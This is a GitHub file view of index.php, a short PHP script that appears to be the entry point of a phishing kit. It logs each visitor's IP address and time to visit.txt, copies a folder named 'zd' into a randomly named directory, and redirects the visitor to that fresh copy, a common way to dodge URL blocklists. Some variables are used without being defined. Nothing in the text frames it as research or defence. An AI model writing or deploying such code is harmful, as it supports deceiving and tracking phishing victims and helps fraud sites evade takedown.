-
Notifications
You must be signed in to change notification settings - Fork 0
/
index.php
5 lines (2 loc) · 882 Bytes
/
index.php
1
2
3
4
5
<?php date_default_timezone_set('GMT');$TIME = date("d-m-Y H:i:s"); $PP = getenv("REMOTE_ADDR");$J7 = $J7->geoplugin_countryName ;$ip = getenv("REMOTE_ADDR");$file = fopen("visit.txt","a");fwrite($file,$ip." - ".$TIME." - " . $COUNTRY ."\n") ;?><?php $random = rand(0,100000).$_SERVER['REMOTE_ADDR'];$dst= substr(md5($random), 0, 20);function recurse_copy($src, $dst) {$dir = opendir($src);$result = ($dir === false ? false : true);if ($result !== false) {$result = @mkdir($dst);if ($result === true) {while(false !== ( $file = readdir($dir)) ) { if (( $file != '.' ) && ( $file != '..' ) && $result) { if ( is_dir($src . '/' . $file) ) { $result = recurse_copy($src . '/' . $file,$dst . '/' . $file); } else { $result = copy($src . '/' . $file,$dst . '/' . $file); } } } closedir($dir);}}return $result;}$src="zd";recurse_copy( $src, $dst );header("location:".$dst."");exit;
?>